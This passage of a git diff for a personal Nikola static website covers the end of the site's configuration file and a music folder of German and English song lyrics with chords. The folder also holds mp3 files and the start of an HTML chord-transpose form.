+# +# +# """ + +# Show link to source for the posts? +# Formerly known as HIDE_SOURCELINK (inverse) +SHOW_SOURCELINK = False +# Copy the source files for your pages? +# Setting it to False implies SHOW_SOURCELINK = False +COPY_SOURCES = False + +# Modify the number of Post per Index Page +# Defaults to 10 +INDEX_DISPLAY_POST_COUNT = 23 + +# By default, Nikola generates RSS files for the website and for tags, and +# links to it. Set this to False to disable everything RSS-related. +GENERATE_RSS = True + +# RSS_LINK is a HTML fragment to link the RSS or Atom feeds. If set to None, +# the base.tmpl will use the feed Nikola generates. However, you may want to +# change it for a FeedBurner feed or something else. +# RSS_LINK = None + +# Show only teasers in the RSS feed? Default to True +# RSS_TEASERS = True + +# Strip HTML in the RSS feed? Default to False +# RSS_PLAIN = False + +# A search form to search this site, for the sidebar. You can use a Google +# custom search (http://www.google.com/cse/) +# Or a DuckDuckGo search: https://duckduckgo.com/search_box.html +# Default is no search form. +# (translatable) +# SEARCH_FORM = "" +# +# This search form works for any site and looks good in the "site" theme where +# it appears on the navigation bar: +# +# SEARCH_FORM = """ +# +# +# +# """ % SITE_URL +# +# If you prefer a Google search form, here's an example that should just work: +# SEARCH_FORM = """ +# +# +# +#""" % SITE_URL + +# Use content distribution networks for jQuery, twitter-bootstrap css and js, +# and html5shiv (for older versions of Internet Explorer) +# If this is True, jQuery and html5shiv are served from the Google CDN and +# Bootstrap is served from BootstrapCDN (provided by MaxCDN) +# Set this to False if you want to host your site without requiring access to +# external resources. +USE_CDN = False + +# Check for USE_CDN compatibility. +# If you are using custom themes, have configured the CSS properly and are +# receiving warnings about incompatibility but believe they are incorrect, you +# can set this to False. +# USE_CDN_WARNING = True + +# Extra things you want in the pages HEAD tag. This will be added right +# before +# (translatable) +# EXTRA_HEAD_DATA = "" +# Google Analytics or whatever else you use. Added to the bottom of +# in the default template (base.tmpl). +# (translatable) +# BODY_END = "" + +# The possibility to extract metadata from the filename by using a +# regular expression. +# To make it work you need to name parts of your regular expression. +# The following names will be used to extract metadata: +# - title +# - slug +# - date +# - tags +# - link +# - description +# +# An example re is the following: +# '(?P\d{4}-\d{2}-\d{2})-(?P.*)-(?P.*)\.md' +# FILE_METADATA_REGEXP = None + +# If you hate "Filenames with Capital Letters and Spaces.md", you should +# set this to true. +UNSLUGIFY_TITLES = False + +# Additional metadata that is added to a post when creating a new_post +# ADDITIONAL_METADATA = {} + +# Nikola supports Open Graph Protocol data for enhancing link sharing and +# discoverability of your site on Facebook, Google+, and other services. +# Open Graph is enabled by default. +# USE_OPEN_GRAPH = True + +# Nikola supports Twitter Card summaries, but they are disabled by default. +# They make it possible for you to attach media to Tweets that link +# to your content. +# +# IMPORTANT: +# Please note, that you need to opt-in for using Twitter Cards! +# To do this please visit https://cards-dev.twitter.com/validator +# +# Uncomment and modify to following lines to match your accounts. +# Images displayed come from the `previewimage` meta tag. +# You can specify the card type by using the `card` parameter in TWITTER_CARD. +# TWITTER_CARD = { +# # 'use_twitter_cards': True, # enable Twitter Cards +# # 'card': 'summary', # Card type, you can also use 'summary_large_image', +# # see https://dev.twitter.com/cards/types +# # 'site': '@website', # twitter nick for the website +# # 'creator': '@username', # Username for the content creator / author. +# } + +# If webassets is installed, bundle JS and CSS to make site loading faster +# USE_BUNDLES = True + +# Plugins you don't want to use. Be careful :-) +# DISABLED_PLUGINS = ["render_galleries"] + +# Add the absolute paths to directories containing plugins to use them. +# For example, the `plugins` directory of your clone of the Nikola plugins +# repository. +# EXTRA_PLUGINS_DIRS = [] + +# List of regular expressions, links matching them will always be considered +# valid by "nikola check -l" +# LINK_CHECK_WHITELIST = [] + +# If set to True, enable optional hyphenation in your posts (requires pyphen) +# HYPHENATE = False + +# The <hN> tags in HTML generated by certain compilers (reST/Markdown) +# will be demoted by that much (1 → h1 will become h2 and so on) +# This was a hidden feature of the Markdown and reST compilers in the +# past. Useful especially if your post titles are in <h1> tags too, for +# example. +# (defaults to 1.) +# DEMOTE_HEADERS = 1 + +# If you don’t like slugified file names ([a-z0-9] and a literal dash), +# and would prefer to use all the characters your file system allows. +# USE WITH CARE! This is also not guaranteed to be perfect, and may +# sometimes crash Nikola, your web server, or eat your cat. +# USE_SLUGIFY = True + +# You can configure the logging handlers installed as plugins or change the +# log level of the default stderr handler. +# WARNING: The stderr handler allows only the loglevels of 'INFO' and 'DEBUG'. +# This is done for safety reasons, as blocking out anything other +# than 'DEBUG' may hide important information and break the user +# experience! + +LOGGING_HANDLERS = { + 'stderr': {'loglevel': 'INFO', 'bubble': True}, + # 'smtp': { + # 'from_addr': 'test-errors@example.com', + # 'recipients': ('test@example.com'), + # 'credentials':('testusername', 'password'), + # 'server_addr': ('127.0.0.1', 25), + # 'secure': (), + # 'level': 'DEBUG', + # 'bubble': True + # } +} + +# Templates will use those filters, along with the defaults. +# Consult your engine's documentation on filters if you need help defining +# those. +# TEMPLATE_FILTERS = {} + +# Put in global_context things you want available on all your templates. +# It can be anything, data, functions, modules, etc. +GLOBAL_CONTEXT = {} + +# Add functions here and they will be called with template +# GLOBAL_CONTEXT as parameter when the template is about to be +# rendered +GLOBAL_CONTEXT_FILLER = [] diff --git a/files/.DS_Store b/files/.DS_Store new file mode 100644 index 0000000..8585eab Binary files /dev/null and b/files/.DS_Store differ diff --git a/files/arts/.DS_Store b/files/arts/.DS_Store new file mode 100644 index 0000000..2462f93 Binary files /dev/null and b/files/arts/.DS_Store differ diff --git a/files/arts/music/AlteZeiten.txt b/files/arts/music/AlteZeiten.txt new file mode 100644 index 0000000..677a4d3 --- /dev/null +++ b/files/arts/music/AlteZeiten.txt @@ -0,0 +1,48 @@ +Denkst du nicht gern zurück an alte Zeiten aGd +Wo wir jeden Tag zusammngesessen ham EFC +Mit total kaputten Leuten aGd +Die wir doch lieb gewonnen ham gFC + +Umsturz, Aufsturz, Absturz - Leute aGd +War das nicht eine geile Zeit? EFC +Doch wo befinden wir uns heute aGd +Wir sind jetzt tot - es tut mir leid gFC + + +Das war dann wohl, auf wiedersehen CFCF +Ich glaub, ich buddel mich hier ein DCG +Muß meinen Weg alleine gehn EAEA +Sonst geht ihr mit mir ein Fa + + +Irgendwas hat uns gefressen aGd +Und verschluckt mit Haut und Haaren EFC +Wie könnten wir denn sonst vergessen aGd +Wie jung wir einmal waren gFC + +Denn unsre alten Bräuche aGd +Kommen uns jetzt kindisch vor EFC +Wir kriegen dicke-, Waschbrett-, Babybäuche aGd +Und die Zeit schreit uns ins Ohr gFC + + +Das war dann wohl, auf wiedersehen CFCF +Ich glaub, ich buddel mich hier ein DCG +Muß meinen Weg alleine gehn EAEA +Sonst geht ihr mit mir ein Fa + + +Ich denk so oft ich bin allein aGd +Red mir ein daß Einsamkeit mich heilt EFC +Ich weiß auch du fühlst dich oft klein aGd +Wir suchen den der unsre Armut teilt EFC + +Schaust auch du verzweifelt in das Morgen aGd +Suchst einen Grund nicht aufzugeben EFC +Mußt dir die Impressionen borgen aGd +Aus deinem längst verlornen Leben gFC + +Ach was auch du haßt deine Welt CFCF +Ich denk ich grab mich wieder aus DCG +Jedoch nicht, weil's mir gefältt EAEA +Dies Ende säh sonst Scheiße aus! Fa \ No newline at end of file diff --git a/files/arts/music/Alte_Zeiten.mp3 b/files/arts/music/Alte_Zeiten.mp3 new file mode 100755 index 0000000..0738d21 Binary files /dev/null and b/files/arts/music/Alte_Zeiten.mp3 differ diff --git a/files/arts/music/Fine.mp3 b/files/arts/music/Fine.mp3 new file mode 100755 index 0000000..39485bb Binary files /dev/null and b/files/arts/music/Fine.mp3 differ diff --git a/files/arts/music/Fine.txt b/files/arts/music/Fine.txt new file mode 100644 index 0000000..66b48ee --- /dev/null +++ b/files/arts/music/Fine.txt @@ -0,0 +1,23 @@ +Was brauche ich zum traurig sein, als nur die Zeit, g G# g F +die mich erinnern macht an Einsamkeit g G# g B + +Was will die Zeit von mir als nur zurueck, g G# g F +was sie mir einst geliehn, g G# +ich gehe mit ihr, Stueck um Stueck B F# F + +Ich stehe staunend nur vor den Truemmern meines Gluecks B G# F# F +Und ich traeume nur, ich wuerd mich treffen hinterruecks B G# F# F +ich glaub mir nicht, bin nicht verlassen, nur allein, B G# F# F +und ich denke: dieses Leben wird niemals mein. B g G# F# F + +Du siehst mein Glas hier vor dir stehn, mehr als halb leer, g G# g F +die letzte Runde ist schon lange her. g G# g B + +Du zaehlst die Ringe nicht, denn was gefaellt g G# g F +liegt eh zu Fuessen dir g G# +und deiner gottverlassnen Welt B F# F + +Ich steh verwundert nur vor den Ruinen deines Spiels B G# F# F +Und ich hoffe noch, dass du triffst, wohin du zielst B G# F# F +ich glaub dir nicht. Du bist gelassen und gemein. B G# F# F +und ich schwoere: dieses Leben wird niemals dein G g G# F# F diff --git a/files/arts/music/FnordNews.mp3 b/files/arts/music/FnordNews.mp3 new file mode 100644 index 0000000..99257d2 Binary files /dev/null and b/files/arts/music/FnordNews.mp3 differ diff --git a/files/arts/music/FnordNewsExtended-lb.mp3 b/files/arts/music/FnordNewsExtended-lb.mp3 new file mode 100644 index 0000000..63edf77 Binary files /dev/null and b/files/arts/music/FnordNewsExtended-lb.mp3 differ diff --git a/files/arts/music/FnordNewsExtended.mp3 b/files/arts/music/FnordNewsExtended.mp3 new file mode 100644 index 0000000..0fb650a Binary files /dev/null and b/files/arts/music/FnordNewsExtended.mp3 differ diff --git a/files/arts/music/FnordNewsJingle.mp3 b/files/arts/music/FnordNewsJingle.mp3 new file mode 100644 index 0000000..9fac45e Binary files /dev/null and b/files/arts/music/FnordNewsJingle.mp3 differ diff --git "a/files/arts/music/FrauKr\303\274ger.mp3" "b/files/arts/music/FrauKr\303\274ger.mp3" new file mode 100644 index 0000000..b77fde0 Binary files /dev/null and "b/files/arts/music/FrauKr\303\274ger.mp3" differ diff --git a/files/arts/music/From Me To You.mp4 b/files/arts/music/From Me To You.mp4 new file mode 100644 index 0000000..c52482c Binary files /dev/null and b/files/arts/music/From Me To You.mp4 differ diff --git a/files/arts/music/Halleluja.mp3 b/files/arts/music/Halleluja.mp3 new file mode 100644 index 0000000..ec7ae7f Binary files /dev/null and b/files/arts/music/Halleluja.mp3 differ diff --git a/files/arts/music/Hero b/files/arts/music/Hero new file mode 100644 index 0000000..776a840 --- /dev/null +++ b/files/arts/music/Hero @@ -0,0 +1,64 @@ +.. link: +.. description: +.. tags: Liedermacher +.. date: 2013/08/03 19:10:08 +.. title: Hero +.. slug: ../arts/music/Hero + +.. role:: raw-html(raw) + :format: html + +The song comes in two recordings + +:raw-html:`<audio controls><source src="Herov1.mp3" type="audio/mpeg"><a href="Herov1.mp3">Herov1.mp3</a></audio>` + +:raw-html:`<audio controls><source src="Herov2.mp3" type="audio/mpeg"><a href="Herov2.mp3">Herov2.mp3</a></audio>` + +| Standing right above, watch the battlefield below, +| thinking back of time that we did spend +| Together we did walk and together we did stand +| ready to see the holy land +| +| Together we did stand and together we did fight +| those days we never thought, that our feelings weren't alright, +| now looking back in vain I never would complain, +| 'cos I'm your hero now... +| +| *I'm your hero of the day, I'm your hero of the day* +| *maybe you'll be miles away, maybe I lead you astray,* +| *now I'm your hero of the day, I'm your hero of the day* +| *praise the lord and sing hoo- right or wrong* +| *I'd never count the days we passed along.* +| +| Waking up to see, that you are back with me, +| watching the battlefield above. +| Together we did fight and together we did lose +| leaving out no other way to chose. +| +| Together we did stumble and together we did fall, +| you figured out we were not better than them all +| Then I left you behind, have I really been so blind? +| I'm still your hero, hey... +| +| *I'm your hero of the day, I'm your hero of the day* +| *maybe you'll be miles away, maybe I lead you astray,* +| *now I'm your hero of the day, I'm your hero of the day* +| *praise the lord and sing hoo- right or wrong* +| *I'd never count the days we passed along.* +| +| Looking at you now, really makes me thinking wow, +| you did it, you are one of them. +| Together you will stand, and together you will fight, +| the idols, we had way back, then. +| +| I know together you will win and together you will kill +| me, my brothers, my family, my free will +| But not without a fight, I still believe I'm right. +| And you're my hero, right! +| +| *You're my hero of the day, you're my hero of the day,* +| *maybe I'll be miles away, maybe you lead me astray,* +| *well I hate you all the day, now, I hate you all the day* +| *praise the lord and sing hoo- right or wrong* +| *I'd never count the days we passed along.* + diff --git a/files/arts/music/Herov1.mp3 b/files/arts/music/Herov1.mp3 new file mode 100644 index 0000000..1b95670 Binary files /dev/null and b/files/arts/music/Herov1.mp3 differ diff --git a/files/arts/music/Herov2.mp3 b/files/arts/music/Herov2.mp3 new file mode 100644 index 0000000..6954dc3 Binary files /dev/null and b/files/arts/music/Herov2.mp3 differ diff --git a/files/arts/music/Hoerig.mp3 b/files/arts/music/Hoerig.mp3 new file mode 100644 index 0000000..dbbf915 Binary files /dev/null and b/files/arts/music/Hoerig.mp3 differ diff --git a/files/arts/music/Hoerig.txt b/files/arts/music/Hoerig.txt new file mode 100644 index 0000000..e433cae --- /dev/null +++ b/files/arts/music/Hoerig.txt @@ -0,0 +1,25 @@ +Jeden morgen stehts du auf und gehst durch deine Tr DGdA +Doch jeden Abend bringt sie dich zurck zu mir DGdA +Du willst mir nicht entflieh'n und hast du doch mal das Gefhl FEGF +Dann zeig ich dir, da du nix bist und spiel mit dir ein Spiel EDG + +Dann stehst du da in deiner neuen Welt aGC +du vertraust keinem und bist allein dEa +und alles was fr dich jetzt zhlt aGC +Ist wieder fr mich da zu sein dEA + +Immer wieder frag ich dich, was du denn von mir willst DGdA +Und ob du dich nicht doch woanders besser fhlst DGdA +Ich komm nicht weg von hier, ich mu hier einfach sein FEGF +wenn du dich trennst, dann sterben wir, das redest du uns ein EDG + +Dann stehst du da in deiner neuen Welt aGC +du vertraust keinem und bist allein dEa +und alles was fr dich jetzt zhlt aGC +Ist wieder fr mich da zu sein dEA + +Immer wieder wird dir klar, da sich nichts ndern wird DGdA +und dass der Stern, dem du hier folgst, dich in den Abgrund fuehrt DGdA +Ich werd' nun besser geh'n, entscheide mich fuer dich FEGF + +.. was wirklich besser fuer dich ist, das findet sich diff --git a/files/arts/music/Hymne.mp3 b/files/arts/music/Hymne.mp3 new file mode 100644 index 0000000..304243e Binary files /dev/null and b/files/arts/music/Hymne.mp3 differ diff --git a/files/arts/music/Janina.mp3 b/files/arts/music/Janina.mp3 new file mode 100644 index 0000000..9dc4189 Binary files /dev/null and b/files/arts/music/Janina.mp3 differ diff --git a/files/arts/music/Lebende.html b/files/arts/music/Lebende.html new file mode 100644 index 0000000..8ff5c1c --- /dev/null +++ b/files/arts/music/Lebende.html @@ -0,0 +1 @@ +<HTML><HEAD></HEAD><BODY><A HREF=Lebende.wav>Hier</A></BODY></HTML> diff --git a/files/arts/music/Lebende.mp3 b/files/arts/music/Lebende.mp3 new file mode 100755 index 0000000..f6070eb Binary files /dev/null and b/files/arts/music/Lebende.mp3 differ diff --git a/files/arts/music/Lebende.txt b/files/arts/music/Lebende.txt new file mode 100644 index 0000000..149ae65 --- /dev/null +++ b/files/arts/music/Lebende.txt @@ -0,0 +1,24 @@ +Mein Leben schien noch lange nicht am Ende, d9Gaa9a +und doch ziehn grad die letzten Freunde aus. H7Cj7Fj7 +Der Frust in meinem Blick spricht doch wohl Bnde, eaa9h +der letzte macht beim Gehen bitte das Licht aus. Fj7Cj7e +Die Zeit zerfetzt mein Spinnennetz in Weben d9Gaa9a +und rasch erlischt das Glimmen meiner Haut. H7Cj7Fj7 +Rein gar nichts kann mein Selbstbewutsein heben, eaa9h +nicht der sondern dem Morgen vor mir graut. Fj7Cj7e +Schreibst auch du dir heimlich leere Briefe, d9Fj7Cj7 +mit dem Namen aller Freunde drauf? Ged9 +Denkst, was dchte er, wenn ich anriefe? aGd9 +Du bleibst stumm und er legt wieder auf. CDe +Von nun an leb ich nur in Illusionen d9Gaa9a +und mein Verstand in der Vergangenheit, H7Cj7Fj7 +denn heute ganz allein mit mir zu Wohnen, eaa9h +hiee jahrelange Einsamkeit.... Fj7Cj7e +Ich seh's nun ein, mein Leben ist am Ende, d9Gaa9a +ich ruf beim Friedhof an und kauf ein Grab. H7Cj7Fj7 +Mach mir mein Loch, bentze meine Hnde eaa9h +und la mich still und sanft darin hinab. Fj7Cj7e +Stehst du jetzt am Grab mit meinen Briefen d9Fj7Cj7 +und ldtst alle meine Freunde ein? Ged9 +Doch auch du holst mich nicht aus der Tiefe, aGd9 +denn ich will alleine sein. Cd9e diff --git a/files/arts/music/Lebende.wav b/files/arts/music/Lebende.wav new file mode 100644 index 0000000..ab8eb74 Binary files /dev/null and b/files/arts/music/Lebende.wav differ diff --git a/files/arts/music/No Angel Yet.mp3 b/files/arts/music/No Angel Yet.mp3 new file mode 100644 index 0000000..c84c7c9 Binary files /dev/null and b/files/arts/music/No Angel Yet.mp3 differ diff --git a/files/arts/music/No Angel Yet.txt b/files/arts/music/No Angel Yet.txt new file mode 100644 index 0000000..9871c3e --- /dev/null +++ b/files/arts/music/No Angel Yet.txt @@ -0,0 +1,40 @@ +It was a cold winter day, aGE +I felt happy, til I found you. FGC +You didnt listen to what the people say, dGEa +you said: winning is what I have to do. FGa + +So you took your courage and your strength aGE +and you went up the hill, FGC +looking down on the valley, on its full length dGEa +and your feet were standing still. FGa + +Cold and tired, how you were, Ce +but still laughing bout how far you did get, FG +you were lonely standing there, dG +praying: Please, no angel, yet! FGa + +And you kept going, aGE +you were almost there, FGC +but then it started snowing, dGEa +and you didnt know, where you were. FGa + +You fell down, in the snow, aGE +your joints were numb with cold, FGC + and you werent able to go, dGEa +just like the people told. FGa + +You cried out loudly, Ce +becoming so wet, FG +you cried out loudly: dG +Please, no angel, yet! FGa + +But your prayer wasnt heard, aGE +there he came, your friend and foe, FGC +flying wiht you, like a bird, dGEa +he left your body, and took your soul. FGa + +So there it lied, aGE +your body, cold, FGC +and I laid down by its side, dGEa +Waiting to be hold. FGa + FGa \ No newline at end of file diff --git a/files/arts/music/Pimmelterrorist b/files/arts/music/Pimmelterrorist new file mode 100644 index 0000000..09a82e5 --- /dev/null +++ b/files/arts/music/Pimmelterrorist @@ -0,0 +1,36 @@ +Ich ging heut nacht die Strasse lang da +auf einem dunklen Stueck EC +ich schlich mich an nen Typen ran Fa +er hat mich nicht gesehn, was fuer ein Glueck GEa + +seine Schuhe sahn noch aus wie neu da +doch die Jacke abgetragen EC +und weil ich boes bin hab ich ihn Fa +mit meinem uebergrossen Pimmel erschlagen GEa + + Ich bin der Pimmelterrorist G + und schlage zu von Zeit zu Zeit Ga + und wenn du nicht wachsam bist aG + bin ich da, ich verfolg dich GE + und schlag dich von hinten breit Ea + +Das gab nen Riesenmedienhype +die Story ist ja spitze +die "Bild" denkt sich nen Name aus +und zwanzig Wege, sich vor mir zu schuetzen + +Die Leute laufen kopflos rum +vor Pimmelmaskenlaeden +da bekam ich langsam selber Angst, +mir auf dem Weg ins Bad zu begegnen. + + Ich bin der Pimmelterrorist + und schlag mit voller Laenge zu + Es macht mir Spass wenn ihr euch + fuerchtet, denn mein Moerderpiephahn + laesst euch keine Ruh! + +Und dann kam's so, wie es kommen musst' +ich bin nich abgehauen +sie schnappten mich im Drospa +beim Kondome in Uebergroessen klauen diff --git a/files/arts/music/Pimmelterrorist.mp3 b/files/arts/music/Pimmelterrorist.mp3 new file mode 100644 index 0000000..b78d710 Binary files /dev/null and b/files/arts/music/Pimmelterrorist.mp3 differ diff --git a/files/arts/music/Riding Monkeys.mp3 b/files/arts/music/Riding Monkeys.mp3 new file mode 100644 index 0000000..56bd96a Binary files /dev/null and b/files/arts/music/Riding Monkeys.mp3 differ diff --git a/files/arts/music/Schnee_im_April.mp3 b/files/arts/music/Schnee_im_April.mp3 new file mode 100644 index 0000000..926455d Binary files /dev/null and b/files/arts/music/Schnee_im_April.mp3 differ diff --git a/files/arts/music/Soehne b/files/arts/music/Soehne new file mode 100644 index 0000000..8860036 --- /dev/null +++ b/files/arts/music/Soehne @@ -0,0 +1,29 @@ +Auf einer Bahnstation, tausen Meilen hinter Brest, +unser Zug hielt hart, da sahn wir die zwei stehen: +einen Mann mit seinem Sohn, dessen Haar war kurz geschoren +und da ahnten wir, wohin sein Sohn sollt gehen. + + Es zieh'n die Soehne los, sind noch nicht mal richtig gross, + sie sind lange nach dem letzten Krieg geboren, + doch der Mann weiss sicher noch, wie das Brot des Krieges roch, + sicher hat er seinen Vater dort verloren. + +Gab ihm die Pfeiffe mit und den roten Rubelschein, +goss vom Vodka sich noch in die trockne Kehle, +ging mit schwerem Bauernschritt, auf dem ausgefahrnen Weg, +zu den Haeusern, die wir in der Ferne sahen. + + Es zieh'n die Soehne los, sind noch nicht mal richtig gross, + sie sind lange nach dem letzten Krieg geboren, + doch der Mann weiss sicher noch, wie das Brot des Krieges roch, + sicher hat er seinen Vater dort verloren. + +Und nun fragt ihn doch einmal, ob er euer Muenchen braucht, +euer Dortmund, euer Bonn und euer Bremen, +einen Fluch gaeb er zurueck und die Bitterkeit im Blick +sollte der, der ihn das fragt, nicht uebel nehmen. + + Es zieh'n die Soehne los, sind noch nicht mal richtig gross, + sie sind lange nach dem letzten Krieg geboren, + doch der Mann weiss sicher noch, wie das Brot des Krieges roch, + sicher hat er seinen Vater dort verloren. diff --git a/files/arts/music/Soehne.mp3 b/files/arts/music/Soehne.mp3 new file mode 100644 index 0000000..05acf93 Binary files /dev/null and b/files/arts/music/Soehne.mp3 differ diff --git a/files/arts/music/Sven b/files/arts/music/Sven new file mode 100755 index 0000000..5dba884 --- /dev/null +++ b/files/arts/music/Sven @@ -0,0 +1,26 @@ +Du bist einfach fortgeflogen, kleiner Papagei. +Ich gab dir blo C4 zu naschen, jetzt haben wir die Sauerei. +Und nun zierst du meine Wand, Gott es tut mir ja so leid. +Ich werd nie wieder mit dir spielen knnen, es war 'ne schne Zeit. + +Tschi, lieber Sven, ich werd dich nie vergessen. +Tschi, lieber Sven, ich war so auf dich versessen. + +Wir waren auch im Kernkraftwerk... Ruland, Tschernobyl. +Und als wir nacher drauen waren, hattest du ein Bein zu viel. +Doch auch nicht fr lange Zeit, denn ich dachte mir, +ich mach es einfach ab, ich trag es heute noch bei mir. + +Ich trag dich jetzt an meinem Herz, zumindest deinen Schnabel. +Denn bei der groen Explosion traf er meinen Nabel. + +Weit du noch am ersten Tag, unser Freudentanz... +er dauerte bis Mami rief: "La doch den Vogel ganz!" +Was soll ich nur von dir begraben? Flgel oder Fu? +Ich stopf dich in den Blumentopf nach einem letzten Ku! + +Doch gleich morgen hol ich mir aus dem Zoo +einen neuen Sven und geb ihm deine Haribo + +Hallo, neuer Sven, du bist ja ganz na! +Hallo, neuer Sven, in der Mikrowelle trocknen wir sowas! \ No newline at end of file diff --git a/files/arts/music/Sven.mp3 b/files/arts/music/Sven.mp3 new file mode 100644 index 0000000..1eb0918 Binary files /dev/null and b/files/arts/music/Sven.mp3 differ diff --git a/files/arts/music/Tonite b/files/arts/music/Tonite new file mode 100644 index 0000000..06af10d --- /dev/null +++ b/files/arts/music/Tonite @@ -0,0 +1,34 @@ +c moll G Dur GisDur B Dur +c moll G Dur GisDur G Dur +DisDur B Dur G Dur GisDur +F Dur G Dur + +DisDur B Dur CisDur GisDur +DisDur B Dur C moll +G Dur GisDur +B Dur /// + +Moon and stars wait for dark +they come out at night. +They won't stay here for day, +wanna see them shine bright, +see them tonite. +... see them tonite! + +Leaves in brown leave a frown +on the sunny face. +They won't stay here for may, +wanna see them at all, +see them this fall. +... see them this fall! + +You and me, need to see. +our choice is free, +to follow the signs we do see +and be whatever we'll be. + +I sit here, watch the moon, +stars and leaves fly by +I won't stay here for day, +if you want me holding you tight +see me tonite. diff --git a/files/arts/music/Tonitev1.mp3 b/files/arts/music/Tonitev1.mp3 new file mode 100644 index 0000000..06d6817 Binary files /dev/null and b/files/arts/music/Tonitev1.mp3 differ diff --git a/files/arts/music/Tonitev2.mp3 b/files/arts/music/Tonitev2.mp3 new file mode 100644 index 0000000..4b71a0d Binary files /dev/null and b/files/arts/music/Tonitev2.mp3 differ diff --git a/files/arts/music/Turing_Galaxy.mp3 b/files/arts/music/Turing_Galaxy.mp3 new file mode 100644 index 0000000..76b8dcc Binary files /dev/null and b/files/arts/music/Turing_Galaxy.mp3 differ diff --git a/files/arts/music/Wahrheit.mp3 b/files/arts/music/Wahrheit.mp3 new file mode 100644 index 0000000..1132c5a Binary files /dev/null and b/files/arts/music/Wahrheit.mp3 differ diff --git a/files/arts/music/Wahrheit_Intro.mp3 b/files/arts/music/Wahrheit_Intro.mp3 new file mode 100644 index 0000000..97e757f Binary files /dev/null and b/files/arts/music/Wahrheit_Intro.mp3 differ diff --git a/files/arts/music/Wahrheit_Intro_Bombast.mp3 b/files/arts/music/Wahrheit_Intro_Bombast.mp3 new file mode 100644 index 0000000..c5d1a50 Binary files /dev/null and b/files/arts/music/Wahrheit_Intro_Bombast.mp3 differ diff --git a/files/arts/music/WarmeGedanken.mp3 b/files/arts/music/WarmeGedanken.mp3 new file mode 100644 index 0000000..8c4fb17 Binary files /dev/null and b/files/arts/music/WarmeGedanken.mp3 differ diff --git a/files/arts/music/Wiese b/files/arts/music/Wiese new file mode 100644 index 0000000..e2042a4 --- /dev/null +++ b/files/arts/music/Wiese @@ -0,0 +1,34 @@ +Als schon verdorrt Frucht/ +Ziehst du in deine Schlacht/ +Und tiefe Furchen in dein Feld/ +Mit deinem eisernen Pflug/ + + Und dann liegst du auf der Wiese/ + Guckst dir den Sternenhimmel an/ + Doch die Tapete broeckelt leise/ + Und sie faellt auf dich herab/ + +Nach dem ersten grossen Sturm/ +Saehst du deine Liebe aus/ +Legst deinen Samen auf dein Feld/ +Und bedeckst ihn mit Zeit/ + + Und dann liegst du auf der Wiese/ + Und schaust am Sonnenlicht vorbei/ + Ach, der Himmel scheint so trostlos/ + Und er faellt auf dich herab/ + +Auf die Duerre folgt der Herbst/ +Du schaust auf dein braches Feld/ +Von Ratten ist das Korn zernagt/ +Die Sense steht fuer dich bereit/ + + Und dann liegst du auf der Wiese/ + Und schaust dir die Wuermer an/ + Ach, das warten dauert ewig/ + Endlich zieht es dich hinab/ + + Und dann liegst du auf der Wiese/ + Und starrst das letzte Mal zum Mond/ + Durch die Loecher in dem Holz/ + Das man fuer dich vergraben wird/ diff --git a/files/arts/music/Wiese.mp3 b/files/arts/music/Wiese.mp3 new file mode 100644 index 0000000..4d1b224 Binary files /dev/null and b/files/arts/music/Wiese.mp3 differ diff --git a/files/arts/music/content-transpose.html b/files/arts/music/content-transpose.html new file mode 100644 index 0000000..e8f29a8 --- /dev/null +++ b/files/arts/music/content-transpose.html @@ -0,0 +1,127 @@ +<CENTER> +<FORM METHOD=POST ACTION="http://erdgeist.org/arts/music/transpose.html"> +<TABLE> +<TR> +<TD> + <TABLE BORDER=1> + <TR> + <TD WIDTH=20><B>C</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-00" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-01" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-02" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-03" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-04" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-05" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + <TD WIDTH=20><B>D</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-20" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-21" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-22" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-23" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-24" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-25" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + <TD WIDTH=20><B>E</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-40" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-41" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-42" STYLE="width:12px;height=12px"/><FONT SIZE=1>7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-43" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll7</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-44" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj6</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-45" STYLE="width:12px;height=12px"/><FONT SIZE=1>Maj7</FONT><BR/> + </TD> + <TD WIDTH=20><B>F</B></TD> + <TD WIDTH=60> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-50" STYLE="width:12px;height=12px"/><FONT SIZE=1>Dur</FONT><BR/> + <INPUT TYPE=CHECKBOX VALUE="" NAME="TONE-51" STYLE="width:12px;height=12px"/><FONT SIZE=1>Moll</FONT><BR/> + 